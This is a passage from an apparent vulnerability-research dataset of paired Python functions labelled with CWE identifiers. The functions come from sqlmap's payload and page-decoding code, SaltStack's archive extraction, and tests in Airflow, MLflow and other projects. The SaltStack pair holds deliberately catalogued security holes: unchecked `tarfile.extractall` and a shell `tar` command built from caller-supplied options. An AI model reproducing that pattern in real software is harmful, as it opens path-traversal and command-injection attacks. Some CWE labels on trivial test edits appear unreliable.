    '<html>foo&bar</html>'
    """"""

    if not page or (conf.nullConnection and len(page) < 2):
        return getUnicode(page)

    if hasattr(contentEncoding, ""lower""):
        contentEncoding = contentEncoding.lower()
    else:
        contentEncoding = """"

    if hasattr(contentType, ""lower""):
        contentType = contentType.lower()
    else:
        contentType = """"

    if contentEncoding in (""gzip"", ""x-gzip"", ""deflate""):
        if not kb.pageCompress:
            return None

        try:
            if contentEncoding == ""deflate"":
                data = io.BytesIO(zlib.decompress(page, -15))  # Reference: http://stackoverflow.com/questions/1089662/python-inflate-and-deflate-implementations
            else:
                data = gzip.GzipFile("""", ""rb"", 9, io.BytesIO(page))
                size = struct.unpack(""<l"", page[-4:])[0]  # Reference: http://pydoc.org/get.cgi/usr/local/lib/python2.5/gzip.py
                if size > MAX_CONNECTION_TOTAL_SIZE:
                    raise Exception(""size too large"")

            page = data.read()
        except Exception as ex:
            if ""<html"" not in page:  # in some cases, invalid ""Content-Encoding"" appears for plain HTML (should be ignored)
                errMsg = ""detected invalid data for declared content ""
                errMsg += ""encoding '%s' ('%s')"" % (contentEncoding, getSafeExString(ex))
                singleTimeLogMessage(errMsg, logging.ERROR)

                warnMsg = ""turning off page compression""
                singleTimeWarnMessage(warnMsg)

                kb.pageCompress = False
                raise SqlmapCompressionException

    if not conf.encoding:
        httpCharset, metaCharset = None, None

        # Reference: http://stackoverflow.com/questions/1020892/python-urllib2-read-to-unicode
        if contentType.find(""charset="") != -1:
            httpCharset = checkCharEncoding(contentType.split(""charset="")[-1])

        metaCharset = checkCharEncoding(extractRegexResult(META_CHARSET_REGEX, page))

        if (any((httpCharset, metaCharset)) and not all((httpCharset, metaCharset))) or (httpCharset == metaCharset and all((httpCharset, metaCharset))):
            kb.pageEncoding = httpCharset or metaCharset  # Reference: http://bytes.com/topic/html-css/answers/154758-http-equiv-vs-true-header-has-precedence
            debugMsg = ""declared web page charset '%s'"" % kb.pageEncoding
            singleTimeLogMessage(debugMsg, logging.DEBUG, debugMsg)
        else:
            kb.pageEncoding = None
    else:
        kb.pageEncoding = conf.encoding

    # can't do for all responses because we need to support binary files too
    if isinstance(page, six.binary_type) and ""text/"" in contentType:
        if not kb.disableHtmlDecoding:
            # e.g. &#x9;&#195;&#235;&#224;&#226;&#224;
            if b""&#"" in page:
                page = re.sub(b""&#x([0-9a-f]{1,2});"", lambda _: decodeHex(_.group(1) if len(_.group(1)) == 2 else ""0%s"" % _.group(1)), page)
                page = re.sub(b""&#(\\d{1,3});"", lambda _: six.int2byte(int(_.group(1))) if int(_.group(1)) < 256 else _.group(0), page)

            # e.g. %20%28%29
            if percentDecode:
                if b""%"" in page:
                    page = re.sub(b""%([0-9a-f]{2})"", lambda _: decodeHex(_.group(1)), page)
                    page = re.sub(b""%([0-9A-F]{2})"", lambda _: decodeHex(_.group(1)), page)     # Note: %DeepSee_SQL in CACHE

            # e.g. &amp;
            page = re.sub(b""&([^;]+);"", lambda _: six.int2byte(HTML_ENTITIES[getText(_.group(1))]) if HTML_ENTITIES.get(getText(_.group(1)), 256) < 256 else _.group(0), page)

            kb.pageEncoding = kb.pageEncoding or checkCharEncoding(getHeuristicCharEncoding(page))

            if (kb.pageEncoding or """").lower() == ""utf-8-sig"":
                kb.pageEncoding = ""utf-8""
                if page and page.startswith(b""\xef\xbb\xbf""):  # Reference: https://docs.python.org/2/library/codecs.html (Note: noticed problems when ""utf-8-sig"" is left to Python for handling)
                    page = page[3:]

            page = getUnicode(page, kb.pageEncoding)

            # e.g. &#8217;&#8230;&#8482;
            if ""&#"" in page:
                def _(match):
                    retVal = match.group(0)
                    try:
                        retVal = _unichr(int(match.group(1)))
                    except (ValueError, OverflowError):
                        pass
                    return retVal
                page = re.sub(r""&#(\d+);"", _, page)

            # e.g. &zeta;
            page = re.sub(r""&([^;]+);"", lambda _: _unichr(HTML_ENTITIES[_.group(1)]) if HTML_ENTITIES.get(_.group(1), 0) > 255 else _.group(0), page)
        else:
            page = getUnicode(page, kb.pageEncoding)

    return page"
,UNKNOWN,UNKNOWN,salt/states/archive.py,1,"def extracted(name,
              source,
              archive_format,
              tar_options=None,
              source_hash=None,
              if_missing=None,
              keep=False):
    '''
    .. versionadded:: 2014.1.0 (Hydrogen)

    State that make sure an archive is extracted in a directory.
    The downloaded archive is erased if successfully extracted.
    The archive is downloaded only if necessary.

    .. note::

        If ``if_missing`` is not defined, this state will check for ``name``
        instead.  If ``name`` exists, it will assume the archive was previously
        extracted successfully and will not extract it again.

    .. code-block:: yaml

        graylog2-server:
          archive:
            - extracted
            - name: /opt/
            - source: https://github.com/downloads/Graylog2/graylog2-server/graylog2-server-0.9.6p1.tar.lzma
            - source_hash: md5=499ae16dcae71eeb7c3a30c75ea7a1a6
            - tar_options: J
            - archive_format: tar
            - if_missing: /opt/graylog2-server-0.9.6p1/

    .. code-block:: yaml

        graylog2-server:
          archive:
            - extracted
            - name: /opt/
            - source: https://github.com/downloads/Graylog2/graylog2-server/graylog2-server-0.9.6p1.tar.gz
            - source_hash: md5=499ae16dcae71eeb7c3a30c75ea7a1a6
            - archive_format: tar
            - if_missing: /opt/graylog2-server-0.9.6p1/

    name
        Directory name where to extract the archive

    source
        Archive source, same syntax as file.managed source argument.

    source_hash
        Hash of source file, or file with list of hash-to-file mappings.
        It uses the same syntax as the file.managed source_hash argument.

    archive_format
        tar, zip or rar

    if_missing
        Some archive, such as tar, extract themself in a subfolder.
        This directive can be used to validate if the archive had been
        previously extracted.

    tar_options
        Only used for tar format, it need to be the tar argument specific to
        this archive, such as 'J' for LZMA.
        Using this option means that the tar executable on the target will
        be used, which is less platform independent.
        Main operators like -x, --extract, --get, -c, etc. and -f/--file are
        **shoult not be used** here.
        If this option is not set, then the Python tarfile module is used.
        The tarfile module supports gzip and bz2 in Python 2.

    keep
        Keep the archive in the minion's cache
    '''
    ret = {'name': name, 'result': None, 'changes': {}, 'comment': ''}
    valid_archives = ('tar', 'rar', 'zip')

    if archive_format not in valid_archives:
        ret['result'] = False
        ret['comment'] = '{0} is not supported, valids: {1}'.format(
            name, ','.join(valid_archives))
        return ret

    if if_missing is None:
        if_missing = name
    if (
        __salt__['file.directory_exists'](if_missing)
        or __salt__['file.file_exists'](if_missing)
    ):
        ret['result'] = True
        ret['comment'] = '{0} already exists'.format(if_missing)
        return ret

    log.debug('Input seem valid so far')
    filename = os.path.join(__opts__['cachedir'],
                            '{0}.{1}'.format(if_missing.replace('/', '_'),
                                             archive_format))
    if not os.path.exists(filename):
        if __opts__['test']:
            ret['result'] = None
            ret['comment'] = \
                'Archive {0} would have been downloaded in cache'.format(
                    source, name)
            return ret

        log.debug('Archive file {0} is not in cache, download it'.format(source))
        data = {
            filename: {
                'file': [
                    'managed',
                    {'name': filename},
                    {'source': source},
                    {'source_hash': source_hash},
                    {'makedirs': True},
                    {'saltenv': __env__}
                ]
            }
        }
        file_result = __salt__['state.high'](data)
        log.debug('file.managed: {0}'.format(file_result))
        # get value of first key
        file_result = file_result[file_result.keys()[0]]
        if not file_result['result']:
            log.debug('failed to download {0}'.format(source))
            return file_result
    else:
        log.debug('Archive file {0} is already in cache'.format(name))

    if __opts__['test']:
        ret['result'] = None
        ret['comment'] = 'Archive {0} would have been extracted in {1}'.format(
            source, name)
        return ret

    __salt__['file.makedirs'](name)

    if archive_format in ('zip', 'rar'):
        log.debug('Extract {0} in {1}'.format(filename, name))
        files = __salt__['archive.un{0}'.format(archive_format)](filename,
                                                                 name)
    else:
        if tar_options is None:
            with closing(tarfile.open(filename, 'r')) as tar:
                files = tar.getnames()
                tar.extractall(name)
        else:
            log.debug('Untar {0} in {1}'.format(filename, name))

            results = __salt__['cmd.run_all']('tar {0} -f {1!r}'.format(
                tar_options, filename), cwd=name)
            if results['retcode'] != 0:
                ret['result'] = False
                ret['changes'] = results
                return ret
            if __salt__['cmd.retcode']('tar --version | grep bsdtar') == 0:
                files = results['stderr']
            else:
                files = results['stdout']
            if not files:
                files = 'no tar output so far'
    if len(files) > 0:
        ret['result'] = True
        ret['changes']['directories_created'] = [name]
        if if_missing != name:
            ret['changes']['directories_created'].append(if_missing)
        ret['changes']['extracted_files'] = files
        ret['comment'] = '{0} extracted in {1}'.format(source, name)
        if not keep:
            os.unlink(filename)
    else:
        __salt__['file.remove'](if_missing)
        ret['result'] = False
        ret['comment'] = 'Can\'t extract content of {0}'.format(source)
    return ret",CWE-22,saltstack/salt,367c22bb3fe31b97f03b9c72533b8c2ca78ac411,"def extracted(name,
              source,
              archive_format,
              tar_options=None,
              source_hash=None,
              if_missing=None,
              keep=False):
    '''
    .. versionadded:: 2014.1.0 (Hydrogen)

    State that make sure an archive is extracted in a directory.
    The downloaded archive is erased if successfully extracted.
    The archive is downloaded only if necessary.

    .. note::

        If ``if_missing`` is not defined, this state will check for ``name``
        instead.  If ``name`` exists, it will assume the archive was previously
        extracted successfully and will not extract it again.

    .. code-block:: yaml

        graylog2-server:
          archive:
            - extracted
            - name: /opt/
            - source: https://github.com/downloads/Graylog2/graylog2-server/graylog2-server-0.9.6p1.tar.lzma
            - source_hash: md5=499ae16dcae71eeb7c3a30c75ea7a1a6
            - tar_options: J
            - archive_format: tar
            - if_missing: /opt/graylog2-server-0.9.6p1/

    .. code-block:: yaml

        graylog2-server:
          archive:
            - extracted
            - name: /opt/
            - source: https://github.com/downloads/Graylog2/graylog2-server/graylog2-server-0.9.6p1.tar.gz
            - source_hash: md5=499ae16dcae71eeb7c3a30c75ea7a1a6
            - archive_format: tar
            - if_missing: /opt/graylog2-server-0.9.6p1/

    name
        Directory name where to extract the archive

    source
        Archive source, same syntax as file.managed source argument.

    source_hash
        Hash of source file, or file with list of hash-to-file mappings.
        It uses the same syntax as the file.managed source_hash argument.

    archive_format
        tar, zip or rar

    if_missing
        Some archive, such as tar, extract themself in a subfolder.
        This directive can be used to validate if the archive had been
        previously extracted.

    tar_options
        Only used for tar format, it need to be the tar argument specific to
        this archive, such as 'J' for LZMA.
        Using this option means that the tar executable on the target will
        be used, which is less platform independent.
        Main operators like -x, --extract, --get, -c, etc. and -f/--file are
        **shoult not be used** here.
        If this option is not set, then the Python tarfile module is used.
        The tarfile module supports gzip and bz2 in Python 2.

    keep
        Keep the archive in the minion's cache
    '''
    ret = {'name': name, 'result': None, 'changes': {}, 'comment': ''}
    valid_archives = ('tar', 'rar', 'zip')

    if archive_format not in valid_archives:
        ret['result'] = False
        ret['comment'] = '{0} is not supported, valids: {1}'.format(
            name, ','.join(valid_archives))
        return ret

    if if_missing is None:
        if_missing = name
    if (
        __salt__['file.directory_exists'](if_missing)
        or __salt__['file.file_exists'](if_missing)
    ):
        ret['result'] = True
        ret['comment'] = '{0} already exists'.format(if_missing)
        return ret

    log.debug('Input seem valid so far')
    filename = os.path.join(__opts__['cachedir'],
                            '{0}.{1}'.format(if_missing.replace('/', '_'),
                                             archive_format))
    if not os.path.exists(filename):
        if __opts__['test']:
            ret['result'] = None
            ret['comment'] = \
                'Archive {0} would have been downloaded in cache'.format(
                    source, name)
            return ret

        log.debug('Archive file {0} is not in cache, download it'.format(source))
        data = {
            filename: {
                'file': [
                    'managed',
                    {'name': filename},
                    {'source': source},
                    {'source_hash': source_hash},
                    {'makedirs': True},
                    {'saltenv': __env__}
                ]
            }
        }
        file_result = __salt__['state.high'](data)
        log.debug('file.managed: {0}'.format(file_result))
        # get value of first key
        file_result = file_result[file_result.keys()[0]]
        if not file_result['result']:
            log.debug('failed to download {0}'.format(source))
            return file_result
    else:
        log.debug('Archive file {0} is already in cache'.format(name))

    if __opts__['test']:
        ret['result'] = None
        ret['comment'] = 'Archive {0} would have been extracted in {1}'.format(
            source, name)
        return ret

    __salt__['file.makedirs'](name)

    if archive_format in ('zip', 'rar'):
        log.debug('Extract {0} in {1}'.format(filename, name))
        files = __salt__['archive.un{0}'.format(archive_format)](filename,
                                                                 name)
    else:
        if tar_options is None:
            with closing(tarfile.open(filename, 'r')) as tar:
                files = tar.getnames()
                tar.extractall(name)
        else:
            log.debug('Untar {0} in {1}'.format(filename, name))

            results = __salt__['cmd.run_all']('tar {0} -f ""{1}""'.format(
                tar_options, filename), cwd=name)
            if results['retcode'] != 0:
                ret['result'] = False
                ret['changes'] = results
                return ret
            if __salt__['cmd.retcode']('tar --version | grep bsdtar') == 0:
                files = results['stderr']
            else:
                files = results['stdout']
            if not files:
                files = 'no tar output so far'
    if len(files) > 0:
        ret['result'] = True
        ret['changes']['directories_created'] = [name]
        if if_missing != name:
            ret['changes']['directories_created'].append(if_missing)
        ret['changes']['extracted_files'] = files
        ret['comment'] = '{0} extracted in {1}'.format(source, name)
        if not keep:
            os.unlink(filename)
    else:
        __salt__['file.remove'](if_missing)
        ret['result'] = False
        ret['comment'] = 'Can\'t extract content of {0}'.format(source)
    return ret"
,UNKNOWN,UNKNOWN,tests/autologging/test_autologging_behaviors_unit.py,1,"def test_autologging_warnings_are_redirected_as_expected(
    autolog_function, patch_destination, logger
):
    stream = StringIO()
    sys.stderr = stream

    with pytest.warns(None) as warnings_record:
        autolog_function(silent=False)
        patch_destination.fn()

    # The following types of warnings are rerouted to MLflow's event loggers:
    # 1. All MLflow warnings emitted during patch function execution
    # 2. All warnings emitted during the patch function preamble (before the execution of the
    #    original / underlying function) and postamble (after the execution of the underlying
    #    function)
    # 3. non-MLflow warnings emitted during autologging setup / enablement
    #
    # Accordingly, we expect the following warnings to have been emitted normally: 1. MLflow
    # warnings emitted during autologging enablement, 2. non-MLflow warnings emitted during original
    # / underlying function execution
    warning_messages = {str(w.message) for w in warnings_record}
    assert warning_messages == {""enablement warning MLflow"", ""Test warning from OG function""}

    # Further, We expect MLflow's logging stream to contain content from all warnings emitted during
    # the autologging preamble and postamble and non-MLflow warnings emitted during autologging
    # enablement
    for item in [
        'MLflow autologging encountered a warning: ""%s:5: Warning: preamble MLflow warning""',
        'MLflow autologging encountered a warning: ""%s:10: Warning: postamble MLflow warning""',
    ]:
        assert (item % mlflow.__file__) in stream.getvalue()
    for item in [
        'MLflow autologging encountered a warning: ""%s:7: UserWarning: preamble numpy warning""',
        'MLflow autologging encountered a warning: ""%s:14: Warning: postamble numpy warning""',
        'MLflow autologging encountered a warning: ""%s:30: Warning: enablement warning numpy""',
    ]:
        assert (item % np.__file__) in stream.getvalue()",CWE-703,mlflow/mlflow,974572e382269d066243a36747336d1e17dda3c8,"def test_autologging_warnings_are_redirected_as_expected(
    autolog_function, patch_destination, logger
):
    stream = StringIO()
    sys.stderr = stream

    with pytest.warns(None) as warnings_record:
        autolog_function(silent=False)
        patch_destination.fn()

    # The following types of warnings are rerouted to MLflow's event loggers:
    # 1. All MLflow warnings emitted during patch function execution
    # 2. All warnings emitted during the patch function preamble (before the execution of the
    #    original / underlying function) and postamble (after the execution of the underlying
    #    function)
    # 3. non-MLflow warnings emitted during autologging setup / enablement
    #
    # Accordingly, we expect the following warnings to have been emitted normally: 1. MLflow
    # warnings emitted during autologging enablement, 2. non-MLflow warnings emitted during original
    # / underlying function execution
    warning_messages = set([str(w.message) for w in warnings_record])
    assert warning_messages == set([""enablement warning MLflow"", ""Test warning from OG function""])

    # Further, We expect MLflow's logging stream to contain content from all warnings emitted during
    # the autologging preamble and postamble and non-MLflow warnings emitted during autologging
    # enablement
    for item in [
        'MLflow autologging encountered a warning: ""%s:5: Warning: preamble MLflow warning""',
        'MLflow autologging encountered a warning: ""%s:10: Warning: postamble MLflow warning""',
    ]:
        assert (item % mlflow.__file__) in stream.getvalue()
    for item in [
        'MLflow autologging encountered a warning: ""%s:7: UserWarning: preamble numpy warning""',
        'MLflow autologging encountered a warning: ""%s:14: Warning: postamble numpy warning""',
        'MLflow autologging encountered a warning: ""%s:30: Warning: enablement warning numpy""',
    ]:
        assert (item % np.__file__) in stream.getvalue()"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,tests/jobs/test_scheduler_job.py,0,"def test_execute_task_instances_backfill_tasks_wont_execute(self):
        """"""
        Tests that backfill tasks won't get executed.
        """"""
        dag_id = 'SchedulerJobTest.test_execute_task_instances_backfill_tasks_wont_execute'
        task_id_1 = 'dummy_task'

        dag = DAG(dag_id=dag_id, start_date=DEFAULT_DATE)
        task1 = DummyOperator(dag=dag, task_id=task_id_1)
        dag = SerializedDAG.from_dict(SerializedDAG.to_dict(dag))
        dagbag = self._make_simple_dag_bag([dag])

        dag_file_processor = DagFileProcessor(dag_ids=[], log=mock.MagicMock())
        scheduler = SchedulerJob()
        session = settings.Session()

        dr1 = dag_file_processor.create_dag_run(dag)
        dr1.run_type = DagRunType.BACKFILL_JOB.value
        ti1 = TaskInstance(task1, dr1.execution_date)
        ti1.refresh_from_db()
        ti1.state = State.SCHEDULED
        session.merge(ti1)
        session.merge(dr1)
        session.commit()

        self.assertTrue(dr1.is_backfill)

        scheduler._execute_task_instances(dagbag)
        ti1.refresh_from_db()
        self.assertEqual(State.SCHEDULED, ti1.state)",CWE-Unknown,apache/airflow,533b14341c774329d8184e6e559528ae8ed34b3a,"def test_execute_task_instances_backfill_tasks_wont_execute(self):
        """"""
        Tests that backfill tasks won't get executed.
        """"""
        dag_id = 'SchedulerJobTest.test_execute_task_instances_backfill_tasks_wont_execute'
        task_id_1 = 'dummy_task'

        dag = DAG(dag_id=dag_id, start_date=DEFAULT_DATE)
        task1 = DummyOperator(dag=dag, task_id=task_id_1)
        dag = SerializedDAG.from_dict(SerializedDAG.to_dict(dag))
        dagbag = self._make_simple_dag_bag([dag])

        dag_file_processor = DagFileProcessor(dag_ids=[], log=mock.MagicMock())
        scheduler = SchedulerJob()
        session = settings.Session()

        dr1 = dag_file_processor.create_dag_run(dag)
        dr1.run_id = f""{DagRunType.BACKFILL_JOB.value}__blah""
        ti1 = TaskInstance(task1, dr1.execution_date)
        ti1.refresh_from_db()
        ti1.state = State.SCHEDULED
        session.merge(ti1)
        session.merge(dr1)
        session.commit()

        self.assertTrue(dr1.is_backfill)

        scheduler._execute_task_instances(dagbag)
        ti1.refresh_from_db()
        self.assertEqual(State.SCHEDULED, ti1.state)"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,lib/core/agent.py,0,"def payloadDirect(self, query):
        query = self.cleanupPayload(query)

        if query.upper().startswith(""AND ""):
            query = re.sub(r""(?i)AND "", ""SELECT "", query, 1)
        elif query.upper().startswith("" UNION ALL ""):
            query = re.sub(r""(?i) UNION ALL "", """", query, 1)
        elif query.startswith(""; ""):
            query = query.replace(""; "", """", 1)

        if Backend.getIdentifiedDbms() in (DBMS.ORACLE,):  # non-standard object(s) make problems to a database connector while returned (e.g. XMLTYPE)
            _, _, _, _, _, _, fieldsToCastStr, _ = self.getFields(query)
            for field in fieldsToCastStr.split("",""):
                query = query.replace(field, self.nullAndCastField(field))

        if kb.tamperFunctions:
            for function in kb.tamperFunctions:
                query = function(payload=query)

        return query",,sqlmapproject/sqlmap,166dc98e812dcd978c1d177000a1a607d2193f6d,"def payloadDirect(self, query):
        query = self.cleanupPayload(query)

        if query.upper().startswith(""AND ""):
            query = re.sub(r""(?i)AND "", ""SELECT "", query, 1)
        elif query.upper().startswith("" UNION ALL ""):
            query = re.sub(r""(?i) UNION ALL "", """", query, 1)
        elif query.startswith(""; ""):
            query = query.replace(""; "", """", 1)

        if Backend.getIdentifiedDbms() in (DBMS.ORACLE,):  # non-standard object(s) make problems to a database connector while returned (e.g. XMLTYPE)
            _, _, _, _, _, _, fieldsToCastStr, _ = self.getFields(query)
            for field in fieldsToCastStr.split("",""):
                query = query.replace(field, self.nullAndCastField(field))

        if kb.tamperFunctions:
            for function in kb.tamperFunctions:
                query = function(payload=query)

        return query"
,UNKNOWN,UNKNOWN,tornado/test/iostream_test.py,1,"def test_streaming_until_close(self):
        server, client = self.make_iostream_pair()
        try:
            chunks = []
            closed = [False]

            def streaming_callback(data):
                chunks.append(data)
                self.stop()

            def close_callback(data):
                assert not data, data
                closed[0] = True
                self.stop()
            client.read_until_close(callback=close_callback,
                                    streaming_callback=streaming_callback)
            server.write(b""1234"")
            self.wait(condition=lambda: len(chunks) == 1)
            server.write(b""5678"", self.stop)
            self.wait()
            server.close()
            self.wait(condition=lambda: closed[0])
            self.assertEqual(chunks, [b""1234"", b""5678""])
        finally:
            server.close()
            client.close()",CWE-703,tornadoweb/tornado,4dd78cffa1ad9a40a8feb9a7d3276d025c5c5d53,"def test_streaming_until_close(self):
        server, client = self.make_iostream_pair()
        try:
            chunks = []
            closed = [False]

            def streaming_callback(data):
                chunks.append(data)
                self.stop()

            def close_callback(data):
                assert not data, data
                closed[0] = True
                self.stop()
            client.read_until_close(callback=close_callback,
                                    streaming_callback=streaming_callback)
            server.write(b""1234"")
            self.wait(condition=lambda: len(chunks) == 1)
            server.write(b""5678"", self.stop)
            self.wait()
            server.close()
            self.wait(condition=lambda: closed[0])
            self.assertEqual(chunks, [b""1234"", b""5678""])
        finally:
            server.close()
            client.close()"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,airflow/models/variable.py,0,"def get(
        cls,
        key: str,
        default_var: Any = __NO_DEFAULT_SENTINEL,
        deserialize_json: bool = False,
    ) -> Any:
        """"""
        Gets a value for an Airflow Variable Key

        :param key: Variable Key
        :param default_var: Default value of the Variable if the Variable doesn't exist
        :param deserialize_json: Deserialize the value to a Python dict
        """"""
        var_val = Variable.get_variable_from_secrets(key=key)
        if var_val is None:
            if default_var is not cls.__NO_DEFAULT_SENTINEL:
                return default_var
            else:
                raise KeyError(f""Variable {key} does not exist"")
        else:
            if deserialize_json:
                obj = json.loads(var_val)
                mask_secret(obj, key)
                return obj
            else:
                mask_secret(var_val, key)
                return var_val",CWE-Unknown,apache/airflow,497509e9b722c5089db4c3cd118b8ada79f1d240,"def get(
        cls,
        key: str,
        default_var: Any = __NO_DEFAULT_SENTINEL,
        deserialize_json: bool = False,
    ) -> Any:
        """"""
        Gets a value for an Airflow Variable Key

        :param key: Variable Key
        :param default_var: Default value of the Variable if the Variable doesn't exist
        :param deserialize_json: Deserialize the value to a Python dict
        """"""
        var_val = Variable.get_variable_from_secrets(key=key)
        if var_val is None:
            if default_var is not cls.__NO_DEFAULT_SENTINEL:
                return default_var
            else:
                raise KeyError(f""Variable {key} does not exist"")
        else:
            if deserialize_json:
                obj = json.loads(var_val)
                mask_secret(var_val, key)
                return obj
            else:
                mask_secret(var_val, key)
                return var_val"
,UNKNOWN,UNKNOWN,providers/tests/opsgenie/operators/test_opsgenie.py,1,"def test_properties(self):
        # Given / When
        operator = OpsgenieCreateAlertOperator(task_id=""opsgenie_alert_job"", dag=self.dag, **self._config)

        assert operator.opsgenie_conn_id == ""opsgenie_default""
        assert self._config[""message""] == operator.message
        assert self._config[""alias""] == operator.alias
        assert self._config[""description""] == operator.description
        assert self._config[""responders""] == operator.responders
        assert self._config[""visible_to""] == operator.visible_to
        assert self._config[""actions""] == operator.actions
        assert self._config[""tags""] == operator.tags
        assert self._config[""details""] == operator.details
        assert self._config[""entity""] == operator.entity
        assert self._config[""source""] == operator.source
        assert self._config[""priority""] == operator.priority
        assert self._config[""user""] == operator.user
        assert self._config[""note""] == operator.note",CWE-703,apache/airflow,03349014513114f1eaa413a9831b0027e4fbfa67,"def test_properties(self):
        # Given / When
        operator = OpsgenieCreateAlertOperator(task_id=""opsgenie_alert_job"", dag=self.dag, **self._config)

        assert ""opsgenie_default"" == operator.opsgenie_conn_id
        assert self._config[""message""] == operator.message
        assert self._config[""alias""] == operator.alias
        assert self._config[""description""] == operator.description
        assert self._config[""responders""] == operator.responders
        assert self._config[""visible_to""] == operator.visible_to
        assert self._config[""actions""] == operator.actions
        assert self._config[""tags""] == operator.tags
        assert self._config[""details""] == operator.details
        assert self._config[""entity""] == operator.entity
        assert self._config[""source""] == operator.source
        assert self._config[""priority""] == operator.priority
        assert self._config[""user""] == operator.user
        assert self._config[""note""] == operator.note"
,UNKNOWN,UNKNOWN,tests/test_proxy.py,1,"def test_raises_subprocess_ImportErrors_at_runtime(self):
        # Not an ideal test, but I don't know of a non-bad way to fake out
        # module-time ImportErrors. So we mock the symptoms. Meh!
        with raises(ImportError) as info:
            ProxyCommand(""hi!!!"")
        assert str(info.value) == ""meh""",CWE-703,paramiko/paramiko,72baedd63e42e0af3ea1a26a7b151328a4dd173d,"def test_raises_subprocess_ImportErrors_at_runtime(self):
        # Not an ideal test, but I don't know of a non-bad way to fake out
        # module-time ImportErrors. So we mock the symptoms. Meh!
        with raises(ImportError) as info:
            ProxyCommand(""hi!!!"")
        assert info.value.msg == ""meh"""
,UNKNOWN,UNKNOWN,tests/migrations/test_operations.py,1,"def test_create_model_with_constraint(self):
        where = models.Q(pink__gt=2)
        check_constraint = models.CheckConstraint(check=where, name='test_constraint_pony_pink_gt_2')
        operation = migrations.CreateModel(
            ""Pony"",
            [
                (""id"", models.AutoField(primary_key=True)),
                (""pink"", models.IntegerField(default=3)),
            ],
            options={'constraints': [check_constraint]},
        )

        # Test the state alteration
        project_state = ProjectState()
        new_state = project_state.clone()
        operation.state_forwards(""test_crmo"", new_state)
        self.assertEqual(len(new_state.models['test_crmo', 'pony'].options['constraints']), 1)

        # Test database alteration
        self.assertTableNotExists(""test_crmo_pony"")
        with connection.schema_editor() as editor:
            operation.database_forwards(""test_crmo"", editor, project_state, new_state)
        self.assertTableExists(""test_crmo_pony"")
        with connection.cursor() as cursor:
            with self.assertRaises(IntegrityError):
                cursor.execute(""INSERT INTO test_crmo_pony (id, pink) VALUES (1, 1)"")

        # Test reversal
        with connection.schema_editor() as editor:
            operation.database_backwards(""test_crmo"", editor, new_state, project_state)
        self.assertTableNotExists(""test_crmo_pony"")

        # Test deconstruction
        definition = operation.deconstruct()
        self.assertEqual(definition[0], ""CreateModel"")
        self.assertEqual(definition[1], [])
        self.assertEqual(definition[2]['options']['constraints'], [check_constraint])",CWE-89,django/django,b69f8eb04cc8762d3dfd5af5ea1fc58e3f2ebcc3,"def test_create_model_with_constraint(self):
        where = models.Q(pink__gt=2)
        check_constraint = models.CheckConstraint(check=where, name='test_constraint_pony_pink_gt_2')
        operation = migrations.CreateModel(
            ""Pony"",
            [
                (""id"", models.AutoField(primary_key=True)),
                (""pink"", models.IntegerField(default=3)),
            ],
            options={'constraints': [check_constraint]},
        )

        # Test the state alteration
        project_state = ProjectState()
        new_state = project_state.clone()
        operation.state_forwards(""test_crmo"", new_state)
        self.assertEqual(len(new_state.models['test_crmo', 'pony'].options['constraints']), 1)

        # Test database alteration
        self.assertTableNotExists(""test_crmo_pony"")
        with connection.schema_editor() as editor:
            operation.database_forwards(""test_crmo"", editor, project_state, new_state)
        self.assertTableExists(""test_crmo_pony"")
        with connection.cursor() as cursor:
            with self.assertRaises(IntegrityError):
                cursor.execute(""INSERT INTO test_crmo_pony (id, pink) VALUES (1, 1)"")

        # Test reversal
        with connection.schema_editor() as editor:
            operation.database_backwards(""test_crmo"", editor, new_state, project_state)
        self.assertTableNotExists(""test_crmo_pony"")

        # Test deconstruction
        definition = operation.deconstruct()
        self.assertEqual(definition[0], ""CreateModel"")
        self.assertEqual(definition[1], [])
        self.assertEqual(definition[2]['options']['constraints'], [check_constraint])"
,UNKNOWN,UNKNOWN,tests/charts/test_migrate_database_job.py,1,"def test_command_and_args_overrides_are_templated(self):
        docs = render_chart(
            values={
                ""migrateDatabaseJob"": {""command"": [""{{ .Release.Name }}""], ""args"": [""{{ .Release.Service }}""]}
            },
            show_only=[""templates/jobs/migrate-database-job.yaml""],
        )

        assert [""release-name""] == jmespath.search(""spec.template.spec.containers[0].command"", docs[0])
        assert [""Helm""] == jmespath.search(""spec.template.spec.containers[0].args"", docs[0])",CWE-703,apache/airflow,0d34355ffa3f9f2ecf666d4518d36c4366a4c701,"def test_command_and_args_overrides_are_templated(self):
        docs = render_chart(
            values={
                ""migrateDatabaseJob"": {""command"": [""{{ .Release.Name }}""], ""args"": [""{{ .Release.Service }}""]}
            },
            show_only=[""templates/jobs/migrate-database-job.yaml""],
        )

        assert [""RELEASE-NAME""] == jmespath.search(""spec.template.spec.containers[0].command"", docs[0])
        assert [""Helm""] == jmespath.search(""spec.template.spec.containers[0].args"", docs[0])"
,UNKNOWN,UNKNOWN,airflow/migrations/versions/98271e7606e2_add_scheduling_decision_to_dagrun_and_.py,1,"def upgrade():
    """"""Apply Add scheduling_decision to DagRun and DAG""""""
    conn = op.get_bind()  # pylint: disable=no-member
    is_mysql = bool(conn.dialect.name == ""mysql"")
    is_sqlite = bool(conn.dialect.name == ""sqlite"")
    timestamp = sa.TIMESTAMP(timezone=True) if not is_mysql else mysql.TIMESTAMP(fsp=6, timezone=True)

    with op.batch_alter_table('dag_run', schema=None) as batch_op:
        batch_op.add_column(sa.Column('last_scheduling_decision', timestamp, nullable=True))
        batch_op.create_index('idx_last_scheduling_decision', ['last_scheduling_decision'], unique=False)
        batch_op.add_column(sa.Column('dag_hash', sa.String(32), nullable=True))

    with op.batch_alter_table('dag', schema=None) as batch_op:
        batch_op.add_column(sa.Column('next_dagrun', timestamp, nullable=True))
        batch_op.add_column(sa.Column('next_dagrun_create_after', timestamp, nullable=True))
        # Create with nullable and no default, then ALTER to set values, to avoid table level lock
        batch_op.add_column(sa.Column('concurrency', sa.Integer(), nullable=True))
        batch_op.add_column(sa.Column('has_task_concurrency_limits', sa.Boolean(), nullable=True))

        batch_op.create_index('idx_next_dagrun_create_after', ['next_dagrun_create_after'], unique=False)

    try:
        from airflow.configuration import conf
        concurrency = conf.getint('core', 'dag_concurrency', fallback=16)
    except:  # noqa
        concurrency = 16

    # Set it to true here as it makes us take the slow/more complete path, and when it's next parsed by the
    # DagParser it will get set to correct value.
    op.execute(
        ""UPDATE dag SET concurrency={}, has_task_concurrency_limits={} where concurrency IS NULL"".format(
            concurrency, 1 if is_sqlite else sa.true()
